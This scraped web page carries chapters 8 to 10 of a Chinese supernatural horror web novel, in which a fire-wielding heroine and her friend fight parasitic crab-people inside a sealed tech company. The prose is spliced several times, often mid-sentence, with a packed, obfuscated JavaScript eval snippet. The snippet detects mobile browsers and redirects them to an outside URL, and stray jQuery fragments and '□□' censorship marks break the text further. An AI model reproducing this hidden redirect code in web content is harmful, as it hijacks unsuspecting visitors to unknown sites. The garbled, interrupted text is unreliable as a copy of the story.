;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851613|191583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “还好你没事，小笛子。”庭芝一脸心有余悸地拍了拍胸口。 庭芝可是认真翻过原主通讯录的。 这个人应该就是通讯录里的那位“小笛子”。她和原主来自同一所孤儿院，是从小到大的朋友，原名王雅笛。 可惜她的脸被护目镜挡住，对面的小笛子看不清她的精心表演。 “没事没事！”王雅笛拉着庭芝的手，一脸苟富贵勿相忘的表情，“快快快，再给我看看你的异能！” 庭芝顺从地将火焰凝成一只奶猫，控制着火焰的温度，蹭了蹭小笛子的胳膊。 “帅。太帅了。 “对了，我也觉醒了异能！等咱们出去，我也要加入异常调查局！” 庭芝伸手将小火猫收回来，护目镜下的神情波澜不惊：“什么异能？” “叫【临门一脚】，是规则侧的异能。在需要帮助时，可以扔一次硬币。硬币正面朝上，获得‘场外支援’，会有外物助你达成目标；硬币背面朝上，获得‘落井下石’，外界情况会骤然变得更糟。每个自然日可以用三次。” “很厉害啊。”庭芝道，“看起来，你已经用它脱险过一次了？” “不是一次，而是两次。” 王雅笛拉着庭芝坐下：“第一次是异常爆发的时候，我扔了一次硬币。于是从办公室里逃出来，进了这个房间，里面只有一只蟹人，它没有听见我的声音。” “第二次就是刚刚。” “在你进来之前，我把东西碰掉了。它好像听见了我，于是四处搜寻，甚至还开门出去了一次。我扔了第二次硬币，然后你来了。” 任何概念性的能力都不可小觑。庭芝开口道：“任何硬币都可以吗？” 王雅笛：“不可以。硬币是在我脑海中的虚拟形象，不能用任何手段干扰硬币的正反。” 果然有一定限制。 庭芝点头：“明白了。这个房间比较安全，你先留在这里。” 出乎庭芝意料，王雅笛摇了摇头：“我跟你一起。” 庭芝：“这里安全。” 王雅笛说，她有点害怕，但是语气很坚定：“我的能力不仅可以给我自己用，还可以给别人用。如果你要找到异常的源头，你需要一些幸运。” “你也知道，我一直运气不错，要不也不会连翻到两次‘场外支援’。” 一个幸运buff，和一个比自己更熟悉华盛科技的人，的确是庭芝现在急需的东西。 庭芝点头，同意了和王雅笛同行。 “对了，小笛子。”庭芝终于想起来这里的另一个任务，“异常泄露后，你有见到其他异常调查局的人吗？” “有的。”王雅笛思考了一会，回答道，“异常爆发的第一个下午，有三个外勤队队员来过，清理了不少异常。他们经过了我藏身的这个房间，我听见他们说，华盛的董事长还活着。他们去顶楼的董事长办公室救董事长林富了。” “他们在哪？”庭芝问。 王雅笛努力回忆着那一天的景象。这三天来她的精神一直紧绷着，根本无暇去想那三个外勤队队员的状况。 但现在，身处相对安全的环境，回忆逐渐清晰，王雅笛的脸上逐渐露出了恐惧的表情。 “好像就是在那之后，我就再也没有见过他们。” 8. 她们惊动了它们 在她之前进来的外勤小队，在董事长办公室出了意外。 董事长办公室。 这是一个很敏感的词。 在异常泄露之时，整个华盛科技的所有人员都被封闭在这里——包括董事长林富。 林富作为董事长，肯定是第一个知道异常泄露消息的人。 也是能跑得掉的人。 他为什么不离开？ 庭芝又想起王雅笛的经历： “三天前，董事长通过工作软件下了通知，说华盛的新科技就要发布，要求所有人紧急加班。” “因为工作内容涉及公司机密，领导层要求所有在公司的人给家里报个平安，然后封闭在公司值班。我们就这样在办公室里待着，直到当天晚上……办公室里的两个人变成了蟹人。” 王雅笛的声音似乎还在耳边。 “他们要求封闭加班的时候，你们没人觉得不对吗？”想到这里，庭芝转向王雅笛，手里不自觉地转着面具。 “啊？”王雅笛似乎有些惊讶。 “怎么会呢？咱们不是经常搞这种封闭加班吗！而且这回还有五倍工资……这次华盛已经很当人了。” 嚯。庭芝抿了抿嘴，表示理解。 她都快忘了，华盛科技可是个人类被寄生成蟹人，还要八手抓工作的公司。 “我需要去董事长办公室看看。”庭芝直接对王雅笛说，“之前那个外勤队可能折在那里。但这也说明，异常母体多半就在那里。很危险，你真的要跟我去吗？” “要。”王雅笛点头道。 庭芝再次用纸将小丑面具的嘴塞好，面具发出不满的哼唧。王雅笛乐呵呵地看了一会：“这个异常，就是前两天缠上你的那一个？” 庭芝拿起工位上的胶带，撕下一长条缠好面具和塞着面具的纸——上一次塞得不紧，纸差点从小丑面具的嘴里掉出来。 “想偷袭我，被我抓来了。”庭芝将面具塞进口袋，手中凝出火焰撬棍，另一只手按上门把手。 护目镜的实时检测中，有两个红点刚刚离开外面的走廊。 “现在就走，小心不要发出声音。”庭芝小心地拉开门。 “嘎——” 办公室门发出一声年久失修的声响，余声悠长。庭芝嫌弃地瞥了一眼门轴，警觉地扫视走廊。 走廊上没有蟹人。 庭芝安心些许，一边观察诺亚系统的实时检测，一边留意走廊情况，就这样护着王雅笛向楼梯间走去。 在经过楼梯间前的倒数第三个办公室时，两个红点走到了代表门的竖线前。 庭芝心里警铃大作，撬棍已经横在身前。 几乎是下一秒，门就被推开了。 两只蟹人整理着人皮，闲庭信步地走出来。听见庭芝和王雅笛的动静，它们猛然加速，朝二人扑来，一只蟹人的钳子几乎碰到王雅笛的衣角！ 庭芝一手把王雅笛护到身后，一手抡起撬棍，击飞两个蟹人。 “躲回房间里去！”庭芝低声道。 楼梯间离她们只有三步，但楼梯间里可能也有蟹人，她不能让王雅笛去那边。 庭芝不退反进，冲向蟹人被击飞的方向，手中火球脱手，火焰照着蟹人的嘴部猛然灌进去！ 两只蟹人发出令人牙酸的刺耳尖叫。 庭芝再次甩出火焰，烧掉因蟹人受创而满地乱爬的寄生蟹。其它房间的蟹人听见外面的声响，也推开门，加入了战场。 庭芝数了数，一共有六只蟹人。 但通过实时检测系统看，有几个屋子里的红点不知为什么，听到声音也没有出来。 管它呢，先烧再说。 庭芝一手甩出一个助燃剂小瓶，火焰顺着助燃剂裹上蟹人的身体。 蟹人的尖叫很快就停止了。 庭芝特意增加了助燃剂的用量和火焰的强度，一时间，走廊里极其安静，只能听见微微的火焰燃烧声。 烤海鲜的味道弥漫出来，庭芝收回火焰，感受着疼痛剧烈的脑袋和胃部。 庭芝再一次过度使用了异常能力。自从知道自己可以完全控制经过助燃剂加强的火焰，她放起火来更是肆无忌惮。 这次她用了两瓶助燃剂，火焰的范围几乎赶得上烧小丑花车的那一场火。 看着满地的异常核心，庭芝的食欲又开始暴增。 好在王雅笛在身后的房间里，现在开吃，也不会暴露自己异食癖的真相。 庭芝捡起战利品，往嘴里塞了一把，露出幸福的微笑。 ----- 王雅笛遇到蟹人的第一时间，就给自己投了一次【临门一脚】。 没等看硬币的正反面，王雅笛一个飞扑，扑向旁边的房间门。 房间门本来锁着，但被她这么一扑，竟然鬼使神差地开了。 正面。 安全！ 王雅笛暗暗赞赏自己的运气。 这时，她才仔细地环顾这个房间。 这不是她藏身近三天的那个办公室，而是另一个单人办公间。办公室的窗帘死死地拉着，只有底部露出一线阳光。 背对她的办公椅上，坐着一个女性蟹人。 它的身体明显比其它蟹人更大、更宽，多出的四条肢足也更健壮，在身体两边的空气中胡乱地挥舞着。一眼看过去，它宽厚的背占据了半个房间。 在它手边，有一盒包装好的肉片。肉已经腐烂，腥臭的汁水流到它的钳子边上，顺着办公桌滴滴答答向下流。 蟹人正伏在办公桌上的三个屏幕前。它巨大的身躯挤满了办公椅，多余的皮肉从椅子扶手下的空隙中挤出来，坠在半空中。异变呈成蟹钳的手在键盘上敲敲打，发出啪啪的响声。 这真是在岗位上工作到最后一秒了。 蟹人办公桌上的姓名牌上没有写姓名，写的是工号。 M-A什么什么，王雅笛没看清，也不想看。 M是管理类职位，A指A级管理层，后面的一串数字是工号。 人不是人，只是一串代号。王雅笛很讨厌这种制度，但现在不是探讨大厂工作制的时候。 和绝大多数打工人一样，王雅笛的身体常年维持着亚健康的状态。 其中不大重要的一项，是她略有夜盲。 于是她小心翼翼地打开手环上的虚拟屏幕，把亮度调到最低，给自己提供微弱的光源。 她不知道自己应该离开，还是应该继续躲在这个房间里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851614|191583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 如果离开，外面还有蟹人。如果不离开，房间里有更大只的蟹人。 进退两难这个词从来没有这样具象化过。 想了一会，王雅笛决定相信【临门一脚】，留在这里。 直到现在，蟹人还没有发现她，这很可能是自己异能的效果。 下一秒，蟹人左手边的屏幕闪了闪，突然暗下去。 王雅笛被骤然改变的光线吓得一颤。 她看向蟹人，满室寂静，蟹人安静地伏在三个屏幕前面。 王雅笛长出一口气—— 等等。 有什么不对。王雅笛在一屋子死般的寂静中想。 太安静了。 静得只能听见自己微弱而急促的呼吸声。 但意识到这点之前，她为什么听不见自己的呼吸声呢？ …… 她想起来了。因为蟹人一直在打字，它的打字声盖住了自己的呼吸声。 而现在，它的打字声停了。 左面的显示器突然暗下来的时候，蟹人通过黑色的屏幕，捕捉到了屏幕里反射出来的，王雅笛随身虚拟屏幕发出的幽光。 王雅笛一把关掉手环上的虚拟屏幕，迅速蹲下，躲到门口的大型盆栽后面。 做这些的时候，她惊人地没有发出一点声音。 直到在盆栽后躲好，她的心脏都在狂跳，突突地撞击着嗓子，视野随着心跳的节奏一阵阵地发黑。 别发现我……别发现我…… 还有临门一脚呢。自己投出了正面，不会有事的。王雅笛暗暗对自己说。 不会有事的。 咔咔咔—— 蟹人的头颅在寄生蟹的操纵下，一顿一顿地转过来。 王雅笛屏住呼吸，一动不敢动。 寄生蟹已经破坏了人类的视觉系统，所以蟹人处于半瞎的状态，靠听觉捕猎。这是王雅笛这三天来总结出来的经验。 只要王雅笛不发出声音，它多半不会注意到自己。 蟹人巨大的身体从办公椅里挤出来，发出黏腻的声响。 它身体里的寄生蟹把它的皮肤顶成诡异的形状，一步步向王雅笛藏身的地方走来。 哒。 哒。 淅淅索索…… 蟹人离王雅笛越来越近，在离她不远的地方停下了。王雅笛先听到它的高跟鞋敲在地上的声音，然后是寄生蟹在人体里纠缠蠕动的声响。 不要动！不要动！ 不要发出声音！ 王雅笛控制着自己逃离的冲动，努力保持冷静。 庭芝还在外面。她觉醒了火焰异能，等她解决完外面的异能，就会来找她的。 不要慌。不要慌。 有什么东西吊到了王雅笛的眼前。 是自己的头发吧。刘海长长了就会这样，很痒，很碍事。王雅笛苦中作乐地想，等出去一定要把刘海养长。 她努力转移注意力，被自己无厘头的想法搞的轻松了些许。 头发还在晃，王雅笛不敢动，只好微微地挪动眼球，让自己的视线往自己斜上方看去。 她的眼球对上了另一颗眼球。 被长长的视神经吊着的眼球。 9. 张曌康 寄生蟹是从眼睛中寄生这只蟹人的。 它的右眼掉在眼眶外面，几只寄生蟹在她空洞的眼眶里向外张望，构成了简易的视觉系统。 所以它能感受到王雅笛的虚拟屏幕发出的光，也能看见在盆栽后面，自以为藏得很好的王雅笛。 万中不一定有一的，遇上有眼无珠款蟹人的概率，被王雅笛碰上了。 【临门一脚】呢？正面的硬币呢？救一救啊！ 王雅笛绝望地想到。 蟹人伸出尖利的、粗壮的蟹螯，朝她的腹部划来。 王雅笛认出了这是谁。 即使她形状诡异，已经只剩一张皮囊。 这是从新人时期就带着她和庭芝的领导，姓张。她曾经带着她和庭芝回家一起吃火锅，也给她们点过很贵很贵的，非合成奶做的奶茶。 现在，张姐的蟹螯无知无觉地伸向她往日照顾的下属。 王雅笛想躲。她得逃出去，她还年轻。 她一瞬间爆发出巨大的力量，向一旁扑去。 毫不犹豫地，王雅笛选择了使用【临门一脚】！ 那颗虚拟的硬币再次被高高抛起。王雅笛还没来得及看硬币是正面还是背面，办公室门轰然大开！ 砰！ 庭芝一脚踹开大门，带着火焰的热度和蛋白质烧焦的气味冲进来，抡起撬棍！ 王雅笛险之又险地躲开了蟹人，巨大的盆栽被她的鞋子刮倒，她狼狈地摔倒在花盆和植物的碎片里。 蟹人扬起手臂，掀起的腥风拂过王雅笛的脸。 下一秒，火焰组成的撬棍狠狠地击中了蟹人的腹部。 蟹人在庭芝的力道之下倒退两步，但没有像其它蟹人那样被击退一百五十厘米。 庭芝攻势一转，一手拉起王雅笛，一手把撬棍捅进蟹人残缺的眼睛。 宛如天神下降。 “好帅哦。”王雅笛眼睛亮晶晶的。 她们搞出的声音太大了。庭芝从实时检测系统上看见，其它楼层的蟹人已经听到了这里的响声，正向二楼赶来。 庭芝关上大门，和王雅笛推动办公室里沉重的沙发，将它堵在门口。 蟹人群及时地被挡在门外，它们撞击着办公室大门，蟹钳划过金属门发出令人牙酸的响声。 屋里的巨型蟹人没有倒下，挥动着八肢加速冲过来。 它的速度和力量都是普通蟹人的数倍，冲过来时像一座满溢着海腥味的山。 庭芝不闪不避，抡起撬棍直直迎上去。 蟹人胸腔遭受重击，呕吐两声，嘴里喷出几只寄生蟹。 它身侧的肢足在接触到庭芝的时候回脚一掏，把庭芝的左臂划出一道狭长深邃的口子。 几只寄生蟹立刻钻进她的皮肤。 庭芝甚至能感受到它们在血肉里钻咬的触感。 很奇怪，像是一条有好几个尖头的管子一点点探进血肉。 她忍着疼痛将寄生蟹掏出来，用火焰在伤口内部烧了一圈，确保伤口附近没有寄生蟹及其可能存在的蟹卵，最后封死伤口。火焰不会伤到她，而是像一层火膜一样附着在她的皮肤表面。 “食材在挠你啊主人！”小丑面具不知道什么时候又甩脱了嘴里的纸团，煽风点火道，“弄死它！弄死它！做成烤螃蟹！” “闭嘴！”庭芝烧死两只钻进她伤口的寄生蟹，怒道，“再说话连你一起烤！” “但小笛子要被抓住了哦主人！” 庭芝抬起头。 “等等等等别抓我啊！”王雅笛尖叫道。 趁着庭芝处理伤口，蟹人盯上了王雅笛。 王雅笛正绕着办公桌跑动，使出标准的秦王绕柱式。蟹人一时半会无法靠近，螯钳乱舞，发出低沉的吼叫。 庭芝高高跃起，撬棍从背后击中蟹人后脑。 趁着蟹人回身的工夫，庭芝催动火球，一股脑灌入蟹人身上的各处伤口！ 蟹人发出哔啵哔啵的声音，那是它身体里的寄生蟹在燃烧。 庭芝一口气掏出三瓶助燃剂扔向蟹人，蟹人身上的火焰陡然窜高几倍，烟雾报警器喷出水流，竟然也没有让火焰消减多少。 火焰暴涨的那一刻，庭芝感受到了前所未有的压力。 她头痛欲裂，熟悉的饥饿感也随之传来，几乎要跪在地上。 庭芝也顾不得王雅笛还在看，掏出一把异常核心塞到嘴里，一边嚼，一边又往蟹人身上扔了一瓶助燃剂。 火焰猛然涌起，烧透了蟹人的皮肤。 它身体里沾着火焰的食腐幼体像水一样洒在地上，又被迅速烧干，只留下一地红色的异常核心。 庭芝又往没被烧干的食腐幼体中间扔了一个火球，确保它们没有一只不变成烤蟹。她垂着头静静地看了一会，才倒退两步，喘着粗气倒在身后的办公椅上。 她们安全了…… 暂时。 门外的蟹人还在抓挠合金门，随时准备夺门而入。 门顽强地屹立在那里，承担着本不应由一扇门承担的重量。 王雅笛正弯着腰，在电脑里翻找信息。 庭芝想过去看看，但透支使用异能的后遗症让她一根手指都抬不起来。她靠在宽大的办公椅上，头痛欲裂，眼皮逐渐沉重。 “庭芝！你看这里。”王雅笛的声音把她唤回清醒的世界。 庭芝努了努力，但她站不起来。 “哇！主人打我不是很有力气吗？怎么打几只螃蟹这么狼狈哦呵呵哈哈哈哈！”小丑面具探出半个面具身子，摇晃着，想要爬到庭芝的耳朵边进行嘲讽。 它的“友善”蠢蠢欲动。 庭芝正在虚弱的时候！ 它堂堂小丑，才不要认别人当主人！ 从来没有什么神仙皇帝！也没有什么救世主！要想—— 庭芝甩了一缕火焰在面具脸上。 “昆斤……烫烫烫烫！”面具乱七八糟地叫道，“主人！主人我是您最忠诚的小丑啊！我刚才只是看您想要睡觉，给您遮光而已……烫烫烫主人！主人！遮光！” 小丑面具谄笑着往上爬，整个面具不小心一滑，掉到了地上。 王雅笛：…… “这个异常智能很高啊，还会陪你聊天。”王雅笛走过来，把站不起来的庭芝连人带办公椅推到屏幕前，学着庭芝刚才的样子，往她嘴里塞了一口异常核心。 她甚至贴心地把小丑面具塞回了庭芝的口袋。 但不知道为什么，站起身时，王雅笛身子一偏，拿着小丑面具的手重重地砸在了办公桌上。小丑面具随着她的动作撞在桌上，发出回声悠长的一声“邦”。 “烫烫烫疼疼疼！” “我收留了它，给它一个家，它还得谢谢我呢。” 小丑面具忙不迭地上下晃着自己，作出点头的动作，非常卖力。 王雅笛：…… “你看这个。”王雅笛指了指屏幕上的文字，把话题引回正轨，“这就是我之前和你说的加班通知。” 屏幕上是华盛的内部交流软件，上面是三天前的通知。 通知大意是，为了华盛的新型生物清创技术上市，上级需要各部门紧急封闭加班一周。 要求各位职员迅速联系家人报平安，加班费会开到基本工资五倍，同时，每人会有一定数额的补贴。 此外，该项技术是一级保密技术。为了华盛的利益，各部门人员非必要不得离开本部门办公室，不得用私人智脑联系外界。 王雅笛摊摊手：“你看，我就说吧。一周还算是好的了。咱们刚上班的那次，在公司里被关了十二天。哦，还没有加班费和补贴。” 认识一个城市的方式，就是看它的市民如何爱、劳动和死亡。 怎么爱暂时不得而知，但是一周以上废寝忘食的劳动，和被食腐吸干血肉的死亡，庭芝已经见识到了。 这个城市已经向她展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851615|191583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露了残酷的表象。 至于华盛科技里的人是因为封闭加班，而被食腐趁虚而入，还是先被食腐趁虚而入，再为了异常不进一步扩散、事态不进一步扩大，通知员工封闭加班…… 那就很难讲了。 王雅笛在这里被困了三天，早就弄明白了自己被封在这里的原因。 但她神色如常，一脸不在乎的表情。 庭芝看了王雅笛平静的脸一会。 一个孤儿。她能在乎什么呢？她又能向什么人讨说法呢？华盛科技没了，连林富都很可能死在了董事长办公室。 她应该怪异常调查局吗？是调查局用逆止膜封住了华盛科技。 但是王雅笛不知道。 庭芝也不打算现在告诉她逆止膜的事。在异常污染区，扰乱同伴的心神，对自己没有任何好处。 “这里还有什么信息吗？”庭芝重新看向屏幕。 她没有在华盛上班的记忆，操作不来工作软件。 王雅笛点了两下，调出一个页面：“这个。好像是张姐的工作日志。” 前几天的工作日志很标准，标准的字体，标准的格式——不愧是A级管理层。 直到一天前。 【已完成工作签到。签到时间11月26日7:00】 我是M-A-202650。 我出不去了。 信号被阻断，大门被封死，寄生蟹正在这栋孤楼里蔓延开来。 好像上一刻大家都还在工位前工作，下一刻，所有人都陷入了混乱。 被异常寄生是有潜伏期的，潜伏期大概在三到四个小时左右。 我试着号召所有潜伏期感染者自我隔离，但没有用。所以我作为唯一一个明面上的潜伏期感染者，被关了起来。 没有第二个感染者主动站起来。 也对，站出来，就会遭遇和我一样的命运。 站出来，被关押必死。不站出来，哪怕死，也能拖上几个垫背呢。 …… 本以为这里异常浓度这么高，我会觉醒异能的。 但是没有。我的运气似乎永远差上那么一点。 如果我觉醒了异能，会是什么呢？ 想不出来啊。 封闭前我买了一盒羊肉。不是合成肉，所以很难买。 本来想带着王雅笛和庭芝回家一起吃火锅，这两个孩子没有家人，我总是忍不住看看她们。 庭芝不在公司。年轻人的运气还是比我好一些。 …… 外面很混乱，他们似乎在集中关押潜伏期感染者了。 但应该没有用了。被寄生者的数量已经远超未被寄生者，我猜我们都完了。 王雅笛一向运气好，她能躲过去吗？恐怕不行……这不是运气能解决的问题。 我很痛。我能感受到寄生蟹在撕开我的血肉。它们在繁育、诞生新的幼崽。 好痛。原来人可以这么痛吗？ 真让人愤怒。我的死，凭什么养活了它们。 这是我的遗言吗？ 如果是的话…… 我的名字不是M-A-202650。 叫我张曌康。 【未签退，已于11月26日0:00自动签退】 文字震耳欲聋地击打着庭芝。她一时不知道蟹人想要让谁看见这些文字，但她知道了她叫张曌康。 王雅笛关上了工作日志页面。明亮的屏幕有些晃眼，她闭上了眼睛，庭芝看见晶莹的汗和泪一齐从她眼角滑下。 庭芝撑起身子，走到倒在地上的蟹人身前。 已经不能称呼她为蟹人了。她身体里的寄生蟹已经被消灭殆尽，面前的只是薄薄一层人类的空壳。 庭芝手里燃起火焰。火焰落到张曌康残破的皮囊上。 庭芝静静地看着苍白的皮肤在她面前焚烧殆尽。火焰驯顺地回到庭芝手中，映着她同样苍白的脸。 10. 应急通道 “简单休整一下。”庭芝擦掉王雅笛脸上的泪水，“去董事长办公室。” 王雅笛仍然目不转睛地对着屏幕发呆，庭芝一时疑惑。她的目光随着王雅笛的目光，投向半小时前，蟹人伏案打字的地方。 工作日志被关掉后，跳转到默认的工作页面。 那是一套策划案。 策划案上是密密麻麻的黑色字符，但如果细看，就会发现那是无限重复的三个字—— 张曌康。 被寄生蟹寄生的人只会做最本能的动作。 张曌康被寄生后本能地继续完成它未完成的策划案，但她写不成太复杂的文书，只能一遍又一遍地凭借着本能打下最熟悉的字符。 自己的名字。 显示器暗下去，进入待机状态。 “检测到您未进入工作状态，计入无效工时，已通报监测中心。” “滴滴滴！通报失败。无信号。” 王雅笛拉开窗帘，让蓝珀区昂贵的天气系统模拟出的阳光照进房间。 “你知道那个什么‘新型技术’的内容吗？”庭芝靠在沙发上，半阖着眼睛，皱着眉头问。 “清创技术呀。”王雅笛一想起这事，声音都提高了几分，“咱俩之前一直在做这东西的预备宣传，上头让我改宣发文章，整整改了二十七版——你还帮我改了三版呢，这你都忘了？” 讲到“二十七”这个数字时，王雅笛的表情扭曲，显然在咬牙切齿。 庭芝感受到怨气，讪讪闭了嘴，安静听王雅笛讲下去。 “是咱公司做的新东西。以前华盛搞纯生物医疗技术，近几年异常研究是蓝海，所以设下了我们这个分部，引进异常研究。”王雅笛道，“这个清创技术是研究部的第一次尝试，保密度很高，在上市前，我们宣发部门不知道具体情况。” 庭芝点点头。 她好像抓住了什么，但困倦和疲惫让她几乎无法保持思考。 几乎是下一秒，她就丝滑地进入了梦乡。 庭芝睡了十分钟左右，就睁开了眼睛。她没有吵醒王雅笛，而是在张曌康的抽屉里又翻了一顿，搜出几块固态酒精。 她口袋里的助燃剂消耗了十瓶左右，还剩一半多。 但庭芝有火力焦虑。所以她把固态酒精塞进了口袋，安心地拍了拍。 她决定，从今以后，口袋里必须要随时备有十瓶以上的助燃剂。 如果有助燃物，“燔者”火焰的威力和范围都会提高。但相应地，控制更大的火焰，也会对她的精神造成一定影响。 就像方才，她控制了由助燃剂扩大后的火焰，导致了前所未有的头痛与虚弱。这应该是异常能力过度使用的危害。 “我们该走了。”庭芝说。 王雅笛坐在沙发上闭目养神，额角满是冷汗。听到庭芝的话，她缓缓睁开眼：“你自己走吧。你带着我，能冲出去吗？咱俩非亲非故……” “当然能出去。”庭芝咧嘴一笑，向王雅笛伸出手，“怎么，不相信我？” 王雅笛也笑。 “你想跟我一起走吗？”庭芝问。如果王雅笛不想走，她也会想办法带着对方一起走。 王雅笛的buff能力对她用处不算大。她的作用在于，她对华盛构造和里面装配的高科技产物比较熟悉。 就像现在，庭芝还不会操作华盛内部的工作软件。 “如果你想，我就带着你一起走。”庭芝温声道。 王雅笛好像下定了什么决心，把自己的手递给庭芝：“好。” 庭芝放大护目镜上的实时地图：“我是从右边的楼梯间上来的，当时没有遇到蟹人。但咱们弄出的响动太大，现在楼梯间里已经有了蟹人。 “走廊里有七八只蟹人，就算咱们跑进了楼梯间，还要面对新一波蟹人。这太消耗体力了，我们不能还没见到母体，就在小怪这里把体力清空。 “左面这个楼梯间里倒是没有蟹人。咱们走左边。” 王雅笛：“那里是董事长办公室直通一楼的应急通道，平时，二到六楼的楼梯间门都是锁着的。” 但令庭芝不解的是，王雅笛很镇静，流露出一点“我早有办法”的得意：“但没问题，万能的小笛子有办法。” 看来原主和王雅笛关系的确很好。庭芝摆出一副洗耳恭听的态度，扮演王雅笛的闺蜜：“万能的小笛子！您有什么办法快说出来让小芝子听听？” 王雅笛从口袋里掏出一张门禁卡，得意道：“某个高层主管的门禁卡——看这个职级，他绝对有打开专属应急通道门的权限。” 庭芝震惊道：“你从哪里弄来的好东西？” 王雅笛：“第一次用【临门一脚】的时候，趁着好运buff生效，从差点弄死我的那只蟹人身上摸来的。” 可惜后来buff时间到了，她自己一个人在办公室里，跟一只蟹人待了三天，愣是没找到机会用这张门禁卡。 庭芝发出诚挚的赞美：“你简直神了。” 然后收获了王雅笛更加得意的笑。 王雅笛胆大心细，加入调查局后估计也是外勤队的一把好手。 庭芝在撬棍顶端附上一只大火球。火光猛然亮起，瞬间照亮了幽暗的房间。 庭芝一手举着法杖似的撬棍，一手紧紧拉住王雅笛。 王雅笛的另一只手按在办公室的门锁面板上。 庭芝说，“我打怪，你开门。现在就走。” “等等！现在吗！我还没准备好——” “三！二！一！”庭芝毫不犹豫地开始倒数。 “跑！” 王雅笛狠狠按下开门按钮！ 在黄昏时分昏暗的走廊里，一颗火球乍然亮起！ 抓挠着门板的蟹人们被火光一照，顿时四散而退。 它们很快反应过来，它们蹲守许久的食物正准备逃跑！ 庭芝挥起撬棍，击中几个重新扑上来的蟹人。蟹人们纷纷倒退，□□击打在墙上，发出砰砰的响声。 无数寄生蟹落在地上，蠕动着向二人爬来！ 庭芝将火焰凝成薄薄的一道火墙，环着着自己和王雅笛绕了一圈。 两人脚步不停，在重重叠叠的蟹人之间生生撕出一个破口，向二十米外的楼梯间奔去！ 五米！ 庭芝手上一紧。她回头看去，王雅笛拉着她的手，半跪在地上喘息，左脚扭成一个诡异的弧度。 庭芝一把将王雅笛扔到背上，冲到铁门紧闭的楼梯间前。 与此同时，王雅笛在她背上伸出手，重重将门禁卡拍向读卡器！ 嘭！ 半秒后，冲在最前面的蟹人狠狠撞在铁门上，血肉撞击钢铁，发出一声沉重的闷响！ 嘭嘭嘭！ 更多的蟹人毫无停顿、毫无顾忌地撞击在铁门上！ 密密匝匝的撞击声犹如暴雨。 但蟹人们一时半刻之间尚且奈何不了办公室的合金门，更遑论通往研究部的楼梯间，加厚、加宽的二层铁门。 “一群螃蟹，不过如此。”撞击声渐渐平息，庭芝把王雅笛放下，“你的腿怎么样？” 王雅笛开心地笑。 她背靠着铁门，一边按着脚踝，一边倒抽凉气。但这不妨碍她歪着嘴，夸张地学着庭芝的表情：“一群螃蟹！不过如此！” 庭芝仔细看了看王雅笛的脚踝。脚只是崴了一下，尚可以勉强走路。 庭芝把龇牙咧嘴的王雅笛扶起来，两人慢慢往上走。 看了张曌康的工作日志，庭芝已经有了大概的猜测。 华盛正在研究的异常出了问题。 华盛在研究清创技术，寄生蟹异常又叫作“食腐”，这项技术的核心多半就是寄生蟹，作用原理大概类似于前世用处理过的蛆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王雅笛劝阻道：“会引来蟹人的！咱还是再想想别的办法吧。” “担心什么。”庭芝手握撬棍一往无前，“楼梯间的门咱们已经锁好了，这一层楼只有这一个房间，要是里面有蟹人，总会被惊动的。” ——嘶啦。 楼梯间的LED灯发出风烛残年的声响，二人视野骤然间一片漆黑。 断电了。 “备用电源用完了。”王雅笛将这件事和自己的【厄运】撇开关系，“早该想到的，这里连信号都没有，电力系统自然早就切断了。” 庭芝适时地点起火。 她没想到，在如此高科技的公司里，要用如此原始的方式照明。 “门锁也断电了。”王雅笛拍了拍研发部的铁门。 庭芝再次举起撬棍，撬棍在火光下发出耀眼的光芒。 “让我来开门吧。”王雅笛看着撬棍，满眼兴奋，“我也想试试□□。” 果然所有人类对长条状物体都是有执念的。任何人类都不能抗拒一根撬棍和一扇门带来的诱惑。 一阵脆响。 王雅笛说晚了，庭芝已经用坚固的□□打开了脆弱的铁门。 庭芝慷慨地表示，遇到下一扇门时，给她感受一下□□的力量。 虽然不知道，王雅笛还能不能撑到遇到下一扇门的时候。 庭芝看了看诺亚的异常检测系统，小小的红点正在代表王雅笛的绿点上生成、蠕动，几乎盖住了绿色。 王雅笛出不去了，她想要加入异常调查局，和庭芝组队出外勤，但她想要的东西都不可能存在了。 庭芝的眼睛躲在护目镜后盯了王雅笛一会。 食腐在身体中啃噬，王雅笛不可能不知道。她已经知道自己命不久矣，但她没有说出来。 庭芝本想说些什么安慰她，但是她发现，在现在的情况下，戳破这层两人都心知肚明的纸，对她和王雅笛都没有好处。 何况，她是穿越者庭芝，而不是王雅笛的朋友庭芝。 于是庭芝并没有戳破王雅笛。 既然王雅笛十死无生，那么，庭芝想要从王雅笛那里，探听一些情报。 